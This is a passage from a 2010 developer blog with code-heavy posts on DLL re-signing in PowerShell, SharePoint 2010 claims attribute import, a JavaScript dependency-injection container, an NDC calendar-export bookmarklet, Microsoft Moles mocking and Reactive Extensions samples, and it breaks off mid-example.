    $fn = [system.io.path]::GetFileNameWithoutExtension($dll)
    $ilFile = "$fn.il"
    ilasm $ilFile /res:$fn.res /dll /key:key.snk /out:$fn-signed.dll >$null
    $ok = sn -vf $fn-signed.dll
    if ($ok -match "is valid") {    
        mv $dll $backupFolder
        mv $fn-signed.dll $dll
        write-host -ForegroundColor Green Signed $dll
    }
    else {
        write-host -ForegroundColor Red Failed to sign $dll
    }
}
write-host -NoNewline -ForegroundColor Gray Removing temporary files
$filesToClean | %{
    write-host -NoNewline -ForegroundColor Gray .
    rm $_
}
write-host

And here's a screencast of it running: http://screencast.com/t/Y1t1dcRjN.

Importing user profile attributes from Claims based security tokens in SharePoint 2010

2010-10-12T23:09:00.004+02:00

With the relatively new (August) labs release of Azure Access Control Service (ACS) version 2, there's been a rush of articles on how to authenticate to SharePoint 2010 through that. The benefit of using ACSv2 is the near immediate support for authenticating against both Windows Live, Google, Yahoo and Facebook.

My approach to familiarizing myself with ASCv2, and Claims in SharePoint as such, was to read most of the source code of the Windows Identity Foundation dlls - and especially those brought into the SharePoint namespace. Recently, however, quite detailed how-to-articles have surfaced - so if you're new to it now, there's no need to follow my awkward route to Rome :) If you're looking for info on how to do the initial setup of ACSv2, I suggest looking to Travis Nielsen's blog post, found here.

If you're still reading, I'm guessing you're more interested in what to do with the claim sets once you've actually got ACSv2 integrated in your environment.

While SharePoint 2010 supporting claims based identity management is a great thing; there was one thing I really wished for out of the box, when I first started poking with it. When you're working with identity information from AD or similar directories within your organization, you usually import profile fields after bringing new users into the system. When identities are provided by ACSv2, and e.g. Google's OAuth identity provider, SharePoint will rely an identity claim type you provide. This could be "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress" for Google OAuth - which means that a newly added user will have his email address as userid. The same field's data will be put in the user profile's name field, and as such be the value shown in the top-right corner once logged in.

Image courtesy of Travis Nielsen
ACSv2 will actually let you provide more than just the identity field to the requesting application, however. At the time of writing, Windows Live through ACSv2 will only provide the somewhat obscurely encoded "nameidentifier", but the Google and Yahoo identity providers also supply a full name, email address and possibly more.

This means that one could see the following flow of operations when adding a new user:

Admin adds new user's identity email address, such as einar@contoso.com, which could be associated with one of ACSv2's identity providers.
SharePoint internally creates a new user object, and sets the loginname and name fields to einar@contoso.com
User comes to SharePoint portal, and authenticates against whichever identity provider he's associated with.
A custom SharePoint addon notices the new claims based authentication request, and examines the other attributes sent by the identity provider. If it finds a attribute of type "name" (with value "Einar Stangvik"), and the user's current name is the same as his loginname (einar@contoso.com) - which indicates that the user hasn't changed it yet; it replaces the value with the claims provided value.
... Repeat for other interesting claims-provided fields

The result would be a user logged on for the first time, with relevant fields imported and ready to go. Rather than seeing an obscure identifier or an email address in the top right corner of the screen, he or she would see her or his real name.

If you wish to give this a go, here's a pre-packed wsp: Grep.SharePoint.ImportClaimsFields.wsp.

Do note that I consider this slightly experimental, although stable in test against the current ACS labs release. Use it and develop it at your own risk.

If you're more interested in the source code itself, here's the important parts from the HTTPModule:


namespace Grep.SharePoint.ImportClaimsFields
{
    using System;
    using System.Collections.Generic;
    using System.IdentityModel.Tokens;
    using System.Linq;
    using System.Web;
    using Microsoft.IdentityModel.Tokens.Saml11;
    using Microsoft.IdentityModel.Web;
    using Microsoft.SharePoint;

    public class ClaimsAuthenticationListenerModule : IHttpModule
    {
        private Dictionary<string, ProcessAttributeDelegate> _attributeHandlers;
        private SamlSecurityToken _token;

        #region Methods: private

        private void OnSecurityTokenReceived(object sender, SecurityTokenReceivedEventArgs e)
        {
            _token = e.SecurityToken as SamlSecurityToken;
        }

        private void OnSignedIn(object sender, EventArgs e)
        {            
            if (_token != null)
            {
                var assertion = _token.Assertion as Saml11Assertion;
                if (assertion != null)
                {
                    foreach (
                        SamlAttributeStatement attributeStatement in
                            assertion.Statements.OfType<SamlAttributeStatement>())
                    {
                        foreach (SamlAttribute attribute in attributeStatement.Attributes)
                        {
                            string key = (attribute.Namespace + "/" + attribute.Name).ToLower();
                            if (_attributeHandlers.ContainsKey(key))
                            {
                                _attributeHandlers[key](attribute);
                            }
                        }
                    }
                }
                _token = null;
            }
        }

        private void ProcessEmail(SamlAttribute attribute)
        {
            SPContext.Current.Web.AllowUnsafeUpdates = true;
            try
            {
                var user = SPContext.Current.Web.CurrentUser;
                var value = attribute.AttributeValues.FirstOrDefault(v => String.IsNullOrEmpty(v) == false);
                if (user != null && value != null)
                {
                    if (string.IsNullOrEmpty(user.Email))
                    {
                        user.Email = value;
                        user.Update();
                    }
                }
            }
            finally
            {
                SPContext.Current.Web.AllowUnsafeUpdates = false;
            }
        }

        private void ProcessName(SamlAttribute attribute)
        {
            SPContext.Current.Web.AllowUnsafeUpdates = true;
            try
            {
                var user = SPContext.Current.Web.CurrentUser;
                var value = attribute.AttributeValues.FirstOrDefault(v => String.IsNullOrEmpty(v) == false);
                if (user != null && value != null)
                {
                    var identity = HttpContext.Current.User.Identity.Name.Split('|').LastOrDefault();
                    if (identity != null)
                    {
                        identity = HttpUtility.UrlDecode(identity);
                        if (string.IsNullOrEmpty(user.Name) || user.Name == identity)
                        {
                            user.Name = value;
                            user.Update();
                        }
                    }
                }
            }
            finally
            {
                SPContext.Current.Web.AllowUnsafeUpdates = false;                
            }
        }

        #endregion

        #region IHttpModule Methods

        public void Dispose()
        {
            _token = null;
        }

        public void Init(HttpApplication context)
        {
            _attributeHandlers = new Dictionary<string, ProcessAttributeDelegate>
                           {
                               {"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", ProcessEmail},
                               {"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name", ProcessName}
                           };
            var otherModule = context.Modules["FederatedAuthentication"] as WSFederationAuthenticationModule;
            if (otherModule != null)
            {
                otherModule.SecurityTokenReceived += OnSecurityTokenReceived;
                otherModule.SignedIn += OnSignedIn;
            }
        }

        #endregion

        #region Nested type: ProcessAttributeDelegate

        private delegate void ProcessAttributeDelegate(SamlAttribute attribute);

        #endregion
    }
}

Disjoint SharePoint Farm Integration Examples: Drag'n'drop file transfer

2010-10-08T11:55:00.007+02:00

These two video demonstrations show parts of a framework I'm working on, which can connect otherwise severely disjoint SharePoint farms. Both show drag and drop capabilities between an intranet available in the local network and an external farm. The external farm need not be directly connectible from the client computer.

The first video is annotated, so it should speak for itself. Buzzwords include Claims, Azure, ACS, Google OAuth, drag and drop.

The second will show an embedded view of a completely unchanged SharePoint 2007 portal hosted at Microsoft Online (BPOS). In both videos, the outer intranet is a SharePoint 2010 site.

Larger View

Microsoft Online example:

Larger View

Update: Here's yet another example, showing multi-file copy as well.

Inheritance, member attributes and Dependency Injection in JavaScript

2010-09-07T09:58:00.017+02:00

I've been working on a real-time collaboration (operational transforms for various types and structures) framework for C# for some time now. A month or so ago, seeking an excuse to give node.js a go, as well as to broaden my appreciation for javascript even further, I decided to attempt a rewrite of my libraries thus far to js.

Along this path, I found myself seeking constructs not completely native to javascript, such as proper inheritance, and eventually dependency injection / ioc containers. John Resig of jQuery fame has written one inheritance base class, aptly named Class (available here), which is based on principles from base2 and Prototype. I've used this base class a lot in the past, so it was a prime candidate for my own additions.

I did make some changes to the John's Class, such as enabling getter / setter only members in a base class. With the original Class framework, given a getter in a base class, calling extend() on this base would cause the getter to be called. In my extend(), getters and setters are looked up and cloned if they are there, rather than cloning their return values. This also means that a setter is not added to a derived class, if a getter was all it had, and vice versa.

Serialization and such

Dealing heavily with serialization, I decided to stick another piece of clutter into the extend method - allowing you to optionally supply a name of the class you're creating. This will in turn be stored in any instance of the class as the string member "__type". Alone, this would be clutter and nothing more, but I also added a few helper objects to the Class framework named 'cast' and 'clone'.

Class.cast(source, type) will take an existing instance and recreate it, keeping all references to its members, as an object which yields true for castRet instanceof type. This is helpful e.g. when dealing with JSON parsed objects, as the deserialized objects - although having the correct members - won't have the prototype, nor constructor, of the type they were serialized from, and thus won't hold up in an instanceof check.

Class.clone(source, typesource) will take an existing instance and do a deep copy of it. The cloned object, and (recursively) all of its cloned child objects, will be cast to the proper type from typesource (e.g. window) - given that they have a __type member. This ensures both a deep copy *and* objects which yield true for instanceof checks.

Dependency injection and attributes

Next on my feature wish list was the ability to provision a hierarchy of objects with root configurable dependencies. In other words, dependency injection (or DI). This pattern essentially rids you of having to knowingly construct and pass around service implementing objects.

In the case of my collaboration framework, hierarchies of elements (e.g. containers with other containers and elements in them) could require a reference to a central event aggregator - to and from which they will publish and subscribe to events, to and from other elements. Doing this without a dependency injection mechanism would mean manually passing references throughout the hierarchy, or instantiating them wherever needed - something I could easily mess up. Dependency injection gives you a single point of configuration for your dependencies, and that's a good thing.

To implement automatic dependency injection, I decided to bring the concept of attribute code to javascript. Not necessarily the prettiest construct you ever saw - or immediately the clearest - but it does gradually get better.

Imagine classes Other, Base and Derived:


var Other = Class.extend({
    init: function() 
    {
        this.value = 42; 
    }
});


var Base = Class.extend({});
var Derived = Base.extend({
    init: function() {}
});

I want to express that Derived depends on an instance of type Other, without having to accept, assign and pass it around myself. Given yet another extension I made to the Class framework, namely the ClassAttribute class, implementing a DI container and matching attribute to do this was simple.

The base ClassAttribute has nothing but an 'actualize(instance)' member function. Whenever the Class framework constructor finds one of these ClassAttributes in the prototype of a class it's instantiating, it will assign the instance with the result from calling type.prototype.attribute.actualize(instance). Since the base ClassAttribute's actualize returns null, this means that an instance of the class will never have a member which is an instanceof ClassAttribute - it will either be null, or something you supply from a derived attribute class.

In the case of my wish for expressing dependencies, I wrote a derived DependencyAttribute, the constructor of which accepts a type name, and an actualize which returns an instance set on the DependencyAttribute. Expanding the Derived class above amounts to:


var Derived = Base.extend({
    // The following member value (DepAttribute instance) will *never* be part of a Derived instance. 
    // 'member' will either be null, or an instance of Other (or something derived from Other). The
    // DependencyAttribute will be present in the prototype only.
    member: new DependencyAttribute("Other"),
    init: function() {}
});

A word of caution here, though - with the Class framework it's a bad idea to declare and assign members other than ClassAttribute derived ones in the object you pass to extend. All instances here will be part of the class' prototype, which in turn means that all instances of your class will share the same member instance. Seeing as my extension of Class deals with members which are instances of ClassAttribute, that rule does not apply for their kind.

The final piece to this puzzle, then, is the DI container. At present it's a fairly basic implementation, but it does handle recursive dependency injects and detects cyclic dependencies.

Given that the adapted Class framework processes and actualizes attributes, prior to calling an instance's constructor, implementing what I called CoffeeContainer meant simply accepting instances and types through registerInstance(name, instance) and registerType(name, type) respectively, as well as providing a recursive builder. Using it in an extended example would look like this:


var YetAnother = Class.extend({
    init: function()
    {
        this.yetAnotherValue = "baz";
    }
});
var Other = Class.extend({
    foo: new DependencyAttribute("YetAnother"),
    init: function() 
    {
        this.otherValue = 42; 
    }
});

var Base = Class.extend({});
var Derived = Base.extend({
    bar: new DependencyAttribute("Other"),
    init: function() {}
});

var container = new CoffeeContainer(window);
container.registerInstance("YetAnother", new YetAnother());
container.registerType("Other", Other);
container.registerType("Base", Derived)
var obj = container.getBuilder()("Base");

After running this:

obj instanceof Derived == true
obj.bar instanceof Other == true
obj.bar.foo instanceof YetAnother == true
Any other object depending on YetAnother would share the instance with obj.bar

Where to go with this

This is hardly a complete container - it just pulls together a few basic pieces and ideas, and seems to be doing its job for demo purposes. For production usage, I'd recommend giving it a thorough read-through, and make sure there aren't too many hidden flaws in its design.

Also, supporting container scopes, lifetimes and such hasn't been considered at all in this example. If you require such: go implement it. Worth noting in that regard is that all builders will share the type repository with previously returned builders. It's simple to deal with this, but for the sake of this example; I haven't bothered.

Source code files

Class.js - originally by John Resig, since updated and extended quite a bit


(function() {
    var initializing = false, fnTest = /xyz/.test(function(){xyz;}) ? /\b_super\b/ : /.*/;
    this.Class = function(){};

    // Returns a class, derived from Class. A derived class can be further
    // derived by calling extend on its typename.
    //
    // Example:
    //   var Derived = Class.extend({
    //       init: function(a, b, c) { this is the constructor },
    //       someFunc: function() { }; 
    //   });
    //   var FurtherDerived = Class.extend({
    //       init: function(a, b, c) { this._super(a, b, c); <- calls above constructor },
    //       someFunc: function() { this._super(); <- calls someFunc in Derived }; 
    //   });
    //
    //   (new FurtherDerived(1, 2, 3) instanceof Derived) will be true
    Class.extend = function(prop, typeName) 
    {
        var _super = this.prototype;
        initializing = true;
        var prototype = new this();
        initializing = false;
        for (var name in prop) 
        {
            if (typeof prop[name] === "function" &&
                typeof _super[name] === "function" &&
                fnTest.test(prop[name]))
            {
                prototype[name] = (function(name, fn) {
                        return function() {
                            var tmp = this._super;
                            this._super = _super[name];
                            var ret = fn.apply(this, arguments);
                            this._super = tmp;
                            return ret;
                        };
                    })(name, prop[name]);
            }
            else
            {
                if (typeof prop[name] == "function") prototype[name] = prop[name];
                else if (typeof prop.__lookupGetter__ === "function" &&
                         (typeof prop.__lookupGetter__(name) !== "undefined" ||
                          typeof prop.__lookupSetter__(name) !== "undefined" ||
                          typeof _super.__lookupGetter__(name) !== "undefined" ||
                          typeof _super.__lookupSetter__(name) !== "undefined"))
                {
                    if (typeof (getter = prop.__lookupGetter__(name)) !== "undefined") prototype.__defineGetter__(name, getter);
                    else if (typeof (getter = _super.__lookupGetter__(name)) !== "undefined") prototype.__defineGetter__(name, getter);
                    if (typeof (setter = prop.__lookupSetter__(name)) !== "undefined") prototype.__defineSetter__(name, setter);
                    else if (typeof (setter = _super.__lookupSetter__(name)) !== "undefined") prototype.__defineSetter__(name, setter);
                }
                else prototype[name] = prop[name];
            }
        }

        function Class() 
        {
            if (!initializing)
            {
                for (var name in this)
                {
                    if (this[name] instanceof ClassAttribute)
                    { this[name] = this[name].actualize(this); }
                }
                if (typeof typeName !== "undefined")
                { this.__type = typeName; }
                else if (typeof _super.__type !== "undefined")
                { this.__type = _super.__type; }
                if (this.init)
                {
                    var args = arguments[0] instanceof ClassArgumentArray ?
                        arguments[0].args : arguments;
                    this.init.apply(this, args);
                }
            }
        }
        Class.prototype = prototype;
        Class.constructor = Class;
        Class.extend = arguments.callee;
        return Class;
    };

    // Given a deserialized Class-derived object, which no longer yields true for
    // (source instanceof type), Class.cast() will recreate it, based on the original
    // type, but without calling the constructor, so that (sourceCast instanceof type)
    // is true.
    Class.cast = function(source, type)
    {
        var oldInit = type.prototype.init;
        type.prototype.init = function() {};
        var obj = new type();
        type.prototype.init = oldInit;
        for (name in type.prototype)
        {
            if (typeof type.prototype[name] !== "function" &&
                ((typeof type.prototype.__lookupGetter__ !== "function") ||
                 (typeof type.prototype.__lookupGetter__(name) === "undefined" &&
                  typeof type.prototype.__lookupSetter__(name) === "undefined")))
            {
                if (typeof source[name] === "undefined") return null;
                obj[name] = source[name];
            }
        }
        return obj;
    }
    
    // Does a deep clone of an object. If object down the tree has a __type member
    // variable, its string value will be used on typesource (e.g. window) to resolve
    // which class the member should be constructed from.
    Class.clone = function(source, typesource)
    {
        if (typeof source == "undefined") return;
        var obj = null;
        var type = toString.call(source);
        if (type === "[object Array]") obj = [];
        else if (type === "[object Object]")
        {
            if (typeof source.__type !== "undefined" &&
                typeof typesource[source.__type] !== "undefined") 
            { obj = new typesource[source.__type](); }
            else obj = {};
        }
        else if (type === "[object String]" || type === "[object Number]") return source;
        else if (type === "[object Function]") return;
        for (var name in source)
        {
            var value = Class.clone(source[name], typesource);
            if (typeof value != "undefined") obj[name] = value;
        }
        return obj;
    }
    
    // Construction helper class, which allows you to pass arguments as an array
    // to a Class derived constructor.
    //
    // Example:
    //   var foo = Class.extend({
    //       init: function(a, b, c) {}
    //   });
    //   new Foo(1, 2, 3) has the same effect as
    //   new Foo(new ClassArgumentArray([1, 2, 3]))
    ClassArgumentArray = Class.extend({
        init: function(args) { this.args = args; }
    });
    
    // Base class for Attributes. The attribute instances will be available in the
    // prototype only - the value of the attributed members within a class instance
    // will be whatever a dervied actualize returns - or null if it falls back to the
    // base ClassAttribute
    //
    // Example:
    //   var MyAttribute = ClassAttribute.extend({
    //       actualize: function(instance)
    //       {
    //           return 42;
    //       }
    //   });
    //   var foo = Class.extend({
    //       someMember: new MyAttribute(),
    //       init: function() 
    //       { 
    //           // this.someMember will be 42
    //           // this.prototype.someMember will be an instanceof MyAttribute
    //       }
    //   });
    ClassAttribute = Class.extend({
        actualize: function(instance)
        {
            return null;
        }
    });
})();

CoffeeContainer.js


var CoffeeContainer = Class.extend({
    init: function(owner) 
    {
        this.owner = owner;
        this.types = {}
    },
    registerType: function(typeName, handler)
    {
        if (typeof this.types[typeName] !== "undefined")
        {
            throw "CoffeeContainer: duplicate type " + typeName;
        }
        if (typeof handler !== "function")
        {
            throw "CoffeeContainer: invalid handler";
        }
        this.types[typeName] = handler;
    },
    registerInstance: function(typeName, grinder)
    {
        if (typeof this.types[typeName] !== "undefined")
        {
            throw "CoffeeContainer Exception: duplicate type " + typeName;
        }
        this.types[typeName] = function() { return grinder; }
    },
    getBuilder: function()
    {   
        var factory = this;
        var cyclicHistory = {};
        return function(typeName)
        {
            try
            {
                if (typeof factory.types[typeName] === "undefined")
                {
                    throw "CoffeeContainer Exception: type " + typeName + " not found";
                }
                if (typeName in cyclicHistory)
                {
                    throw "CoffeeContainer Exception: cyclic dependency: " + typeName;
                }
                cyclicHistory[typeName] = 1;
                var actualType = factory.types[typeName];
                for (var name in actualType.prototype)
                {
                    if (actualType.prototype[name] instanceof DependencyAttribute)
                    {
                        actualType.prototype[name].value = 
                            arguments.callee(actualType.prototype[name].type);
                    }
                }
                delete cyclicHistory[typeName];
                var args = [];
                for (var i = 1; i < arguments.length; ++i) args.push(arguments[i]);
                return new actualType(new ClassArgumentArray(args));
            }
            catch(e)
            {
                cyclicHistory = {};
                throw e;
            }
        }
    }
});

var DependencyAttribute = ClassAttribute.extend({
    init: function(type)
    {
        this.type = type;
        this.value = null;
    },
    actualize: function()
    {
        var value = this.value;
        this.value = null;
        return value;
    }
});

NDC 2010: Bookmarklet to export full day plan as single calendar file for Outlook / Google Cal

2010-06-15T11:40:00.020+02:00

This is probably just relevant for people attending the Norwegian Developer Conference in Oslo this year .. Unless you've got some wicked obsession with iCal or JavaScript lunacy.

Anyhoo: the agenda page at ndc2010.no doesn't seem to allow you to export an entire day in a single iCal file, so I decided to write a quick jQuery based bookmarklet to properly export a full day. Here's a video demonstration:

Click the video above to watch it embedded (best in full screen), or Watch in new window

In a nutshell: just go to the agenda page, log in, make sure your sessions for the target day are selected, then hit the bookmarklet to generate an aggregate iCal file.

And here's the bookmarklet. Drag it to your bookmark toolbar (if that works in your browser), or right click and save it as a bookmark from the context menu.

Update: Worth noting for Google Calendar (and possibly others) is that it will not import "duplicate" entries. This means that if you export a day plan, delete a few entries, then try to import the file again - it will throw a big bad error. At this point you can go back to the agenda page and export a new iCal file, which will have new event timestamp. Importing this will succeed without errors.
Update2 (June 15th, 3:11pm): Fixed a padding issue with dates when imported into Google Calendar, and replaced padding approach as a whole.

If you're curious about the source code, here it is in non-minified form. Some less-than pretty constructs are used, such as while-shift rather than join for Array expansion - to save processing memory, and avoid errors caused by such.


(function(){
    function padl(s,n,c)
    { 
        return new Array(1 + n - s.length).join(c) + s;
    }

    function makeCalendar()
    {
        var str = "";
        while(events.length > 0) 
        { str += (str == "" ? "" : "\r\n") + events.shift(); }
        return "BEGIN:VCALENDAR" + "\r\n" +
            "PRODID:-//Google Inc//Google Calendar 70.9054//EN" + "\r\n" +
            "VERSION:2.0" + "\r\n" +
            "CALSCALE:GREGORIAN" + "\r\n" +
            "BEGIN:VTIMEZONE" + "\r\n" +
            "TZID:Europe/Oslo" + "\r\n" +
            "LAST-MODIFIED:20040526T134920Z" + "\r\n" +
            "BEGIN:DAYLIGHT" + "\r\n" +
            "DTSTART:20040328T010000" + "\r\n" +
            "TZOFFSETTO:+0200" + "\r\n" +
            "TZOFFSETFROM:+0000" + "\r\n" +
            "TZNAME:CEST" + "\r\n" +
            "END:DAYLIGHT" + "\r\n" +
            "BEGIN:STANDARD" + "\r\n" +
            "DTSTART:20041031T030000" + "\r\n" +
            "TZOFFSETTO:+0100" + "\r\n" +
            "TZOFFSETFROM:+0200" + "\r\n" +
            "TZNAME:CET" + "\r\n" +
            "END:STANDARD" + "\r\n" +
            "END:VTIMEZONE" + "\r\n" +
            str + "\r\n" + 
            "END:VCALENDAR";
    };

    function makeEvent(day, start, end, summary, description)
    {
        return "BEGIN:VEVENT" + "\r\n" +
            "DTSTART;TZID=Europe/Oslo:201006" + day + "T" + start + "00Z" + "\r\n" +
            "DTEND;TZID=Europe/Oslo:201006" + day + "T" + end + "00Z" + "\r\n" +
            "DTSTAMP;TZID=Europe/Oslo:" + stamp + "\r\n" +
            "DESCRIPTION:" + description + "\r\n" +
            "LOCATION:Oslo Spektrum" + "\r\n" +
            "SEQUENCE:0" + "\r\n" +
            "STATUS:CONFIRMED" + "\r\n" +
            "SUMMARY:" + summary + "\r\n" +
            "TRANSP:OPAQUE" + "\r\n" +
            "END:VEVENT";
    };

    var events = [];
    var nowdt = new Date();
    var stamp = nowdt.getFullYear() +
        padl(nowdt.getMonth(), 2, "0") +  
        padl(nowdt.getDate(), 2, "0") + "T" + 
        padl(nowdt.getHours(), 2, "0") +
        padl(nowdt.getMinutes(), 2, "0") +
        padl(nowdt.getSeconds(), 2, "0") + "Z";
    $(":checked").each(function()
    {
        var n = $(this).parents("tbody:first").find("div[id] h2.agenda:first");
        var roughTime = n.html();
        n = n.parents("tbody:first");
        var e = 
        {
            day: 15 + parseInt($(".agenda2:first").text().replace(/.*(\d).*/, "$1")),
            track: roughTime.replace(/.*\((.*)\)/, "$1"),
            time: roughTime.replace(/Time:\s*(.*) \(.*/, "$1").split(" - "),
            subject: n.find(".ingress_agenda").text(),
            author: n.find("tr td:nth-child(2) h2:first").text()
        };
        events.push(makeEvent(e.day, padl(e.time[0].replace(/:/, ""), 4, "0"), padl(e.time[1].replace(/:/, ""), 4, "0"), e.track + ": " + e.subject, e.author));
    });
    window.location = "data:text/calendar;," + escape(makeCalendar(events));
})()

No-fuss mocking of extension methods (and more) with Microsoft Moles

2010-06-07T10:01:00.008+02:00

The last few months I've been working off and on with a pet project of mine, a real-time collaborative text & sketching app, using C# and Silverlight 4. It's TDD'd to the rim, and as such I'm not writing a line of code if it hasn't already been described by a test.

That latter point brought me to a complete halt a few weeks back, when I began testing a part of my framework in charge of building property objects. To build an understanding of what I was actually doing, and how I failed, I'll briefly explain the setup.

I rely on Autofac for IOC, so that's doing the actual type resolving. For Mocking I had exclusively used the brilliant Moq framework. A test for my PropertyFactory.Create() method could therefore be something like:


[TestMethod]
public void Create_ofT_uses_builder()
{
    var expected = new Mock<IDummy>();
    var mockBuilder = new Mock<IContainer>();
    mockBuilder.Setup(x => x.Resolve<IDummy>()).Returns(() => expected.Object);
    var factory = new PropertyFactory(mockBuilder.Object);
    var returned = factory.Create<IDummy>();
    Assert.AreSame(expected.Object, returned);
}

I'd use Moq to gain control of the Resolve method, and be able to return my own dummy property object - and thus verify that the Create method was doing what it was supposed to be doing.

.. or so I thought. Test failed. In big, bold, red letters. What I didn't think of at that point, is that Resolve isn't actually a method brought by Autofac's IContainer; it's an extension method. Moq can't do extension methods, as they are really just glorified statics.

I pondered this for quite some time. Among my options were switching to TypeMock (which would cost me major $), wrapping IContainer in a construct of my own - which would use extension methods (and that would just delay the problem) or switching IOC containers (which would work for a while, but be of no use the next time I was trying to test something with an extension method in it). As such, I was at a complete loss.

Until yesterday.

The Microsoft Moles project has completely eluded me until now, and I'm somewhat ashamed of that. In all its simplicity (a two minute download and install), it solved all my problems - without messing with any of my production code, forcing me to turn away from any of the other frameworks I use, or even push Moq to the sideline. I can still use Moq for most of the heavy lifting, and then just turn to Moles for the obscure stuff.

Here's what my Create test looks like now:


[TestMethod]
[HostType("Moles")]
public void Create_ofT_uses_builder()
{
    var expected = new Mock<IDummy>();
    Autofac.Moles.MResolutionExtensions.ResolveIComponentContext(x => expected.Object);
    var mockBuilder = new Mock<IContainer>();
    var factory = new PropertyFactory(mockBuilder.Object);
    var returned = factory.Create<IDummy>();
    Assert.AreSame(expected.Object, returned);
}

Test Passed!

All I had to to, apart from the single moles delegate used to return my expected dummy object, was to add a new .moles file in my test project. I called this Autofac.moles, and the content would be:


<?xml version="1.0" encoding="utf-8" ?>
<Moles xmlns="http://schemas.microsoft.com/moles/2010/">
  <Assembly Name="Autofac" />
</Moles>

In a nutshell, the Moles framework will take the assembly referenced in the .moles file, and generate a Mole assembly for it. For all types TypeX in the referenced assembly, there will be another type MTypeX (or STypeX for interfaces) in a .Moles sub-namespace of TypeX' original namespace. As you go on to run a test using the Moles framework, any .moles-referenced type down the call tree from a method with the [HostType("Moles")] attribute will get its implementation replaced by its generated Mole twin. Thus you can mock just about anything; non-static and static alike.

Brilliant.

Here's the page for Microsoft Moles, at Microsoft Research.

Reactive Extensions (Rx) for .NET: A few samples

2010-05-27T11:07:00.011+02:00

Reactive Extensions is a framework published by Microsoft DevLabs. The framework's goal is to make event-driven programming easier, by providing observable push collections and tons of helper functions. I'll leave the rest of the plain text selling points to their own web site, though, and provide a few code examples instead.

Example: Calling several methods in parallel, and combining the results into an anonymous structure.

Imagine three possibly long-running methods, Foo, Bar and Baz:


int Foo()
{
    Thread.Sleep(200);
    return 42;
}

string Bar()
{
    Thread.Sleep(500);
    return "The answer is {0}! {1}";
}

string Baz()
{
    return "Awesome!";
}

What you want to do be doing, is call all three of these independent methods, collect the results in a struct, and output it to the screen.

With plain .NET code, you'd whip up delegates, begininvokes and waithandles, such as:


var waitHandles = new List<WaitHandle>();
int fooRet = 0;
Func<int> foo = Foo;
var fooRes = foo.BeginInvoke(res => { fooRet = foo.EndInvoke(res); }, null);
waitHandles.Add(fooRes.AsyncWaitHandle);
string barRet = "";
Func<string> bar = Bar;
var barRes = bar.BeginInvoke(res => { barRet = bar.EndInvoke(res); }, null);
waitHandles.Add(barRes.AsyncWaitHandle);
string bazRet = "";
Func<string> baz = Baz;
var bazRes = baz.BeginInvoke(res => { bazRet = baz.EndInvoke(res); }, null);
waitHandles.Add(bazRes.AsyncWaitHandle);
WaitHandle.WaitAll(waitHandles.ToArray());
Console.Out.WriteLine(barRet, fooRet, bazRet);

Not a pretty sight, that's for certain, and it doesn't even begin to take into account anomalies in the results, or errors reported from any of the methods.

With Rx, the above becomes trivial. The Linq like syntax will, in essence, say that we want to join the results of three async executions, wait for them to
complete and print the results on success. If an error occurs, we'll show an exception.


Observable.Join(
    Observable.ToAsync<int>(Foo)()
        .And(Observable.ToAsync<string>(Bar)())
        .And(Observable.ToAsync<string>(Baz)())
        .Then((foo, bar, baz) => 
            new { Foo = foo, Bar = bar, Baz = baz })
    ).Subscribe(
        o => Console.WriteLine(o.Bar, o.Foo, o.Baz),
        e => Console.WriteLine("Exception: {0}", e));

Opposed to the BeginInvoke mayhem further up, this is pretty good looking!

Should you wish to asynchronously execute the methods in order, that would be even more hairy without Rx, with several wait handle calls, possible helper methods, and who-knows-what. With Rx, it's actually even more trivial than the parallell execution.


(from foo in Observable.ToAsync<int>(Foo)()
 from bar in Observable.ToAsync<string>(Bar)()
 from baz in Observable.ToAsync<string>(Baz)()
 select new { Foo = foo, Bar = bar, Baz = baz })
 .Subscribe(o => Console.WriteLine(o.Bar, o.Foo, o.Baz));

Key here is the fact that it's *asynchronous*. The call to Subscribe will not block execution, so your application is free to do whatever it pleases while Foo, Bar and Baz execute.

Example: Event throttling.

Suppose you have an alert generating source, such as:


class EventFiringClass
{
    public event EventHandler<EventArgs> Alert;

    public void TriggerManyAlerts()
    {
        for (int i = 0; i < 200; ++i)
        {
            Thread.Sleep(100);
            if (Alert != null)
            {
                Alert(this, null);
            }
        }
    }
}

That could obviously generate a ton of alerts, with a mere 100 msec between each one. Adding a notification handler to this, such as


var ec = new EventFiringClass();
ec.Alert += (s, o) => Console.WriteLine("Alert Flood!");
ec.TriggerManyAlerts();

... would print the same message, each time the event was raised - and that's not necessarily something you'd want. Alerts, mouse events, keyboard events - anything that's usually repeated, but not necessarily wanted more than once - all can be easily throttled by Rx.

Adding a time throttled (they can also be e.g. count throttled) event handler to the above event would expand to:


Observable.FromEvent<EventArgs>
    (h => ec.Alert += h, 
     h => ec.Alert -= h)
    .Throttle(TimeSpan.FromMilliseconds(500))
    .Subscribe(e => Console.WriteLine("Alert Throttled!"));

This won't output anything until the event stream has been silent for at least half a second.

While a fantastic feature for dealing with delayed button presses or mouse moves, the use case for alerts here is however intentionally shifty. With the above code, you wouldn't see a single alert if the stream of raised alert events was continous.

For alerts, and many other event sources, what we'd really want is to easily get distinct updates only - I'm interested in the first alert for error "Foo", not necessarily 500 more immediately following.

With Rx, implementing this involves a call to DistinctUntilChanged.

First of all, imagine our alert event now looks like:


public class AlertArgs : EventArgs
{
    public string AlertCode { get; set; }
}
public event EventHandler<AlertArgs> Alert;

[...]
Alert(this, new AlertArgs {AlertCode = "Something exploded!"});

Only printing one distinct alert code at a time, then amounts to:


var ec = new EventFiringClass();
Observable.FromEvent<EventFiringClass.AlertArgs>
    (h => ec.Alert += h, 
     h => ec.Alert -= h)
    .DistinctUntilChanged(o => o.EventArgs.AlertCode)
    .Subscribe(e => Console.WriteLine("Alert: {0}", e.EventArgs.AlertCode));
ec.TriggerManyAlerts();

Example: Asynchronously providing unique Tweets as an Observable collection, using Rx and Linq2Twitter.

The following sample app will use Linq2Twitter to check for new tweets at an interval of 30 seconds, and feed them through an observable Rx collection.

In my WPF test app, I've got it hooked to a list box named TweetList, as can be seen from the Subscribe handler. Also worth noting is the call to ObserveOn, which tells Rx to use the current WPF UI Dispatcher to call the subscription observer. By doing so, we won't have an issue with cross thread UI updates when showing the tweets, nor will we have to monkey around with Dispatcher.BeginInvoke to fix said issue.


private void InitTwitterListing()
{
    var twitterCtx = new TwitterContext();
    var seen = new Dictionary<string, bool>();
    var tweetStream = 
        from t in Observable.Return(1)
            .Concat(Observable.Interval(TimeSpan.FromSeconds(30)))
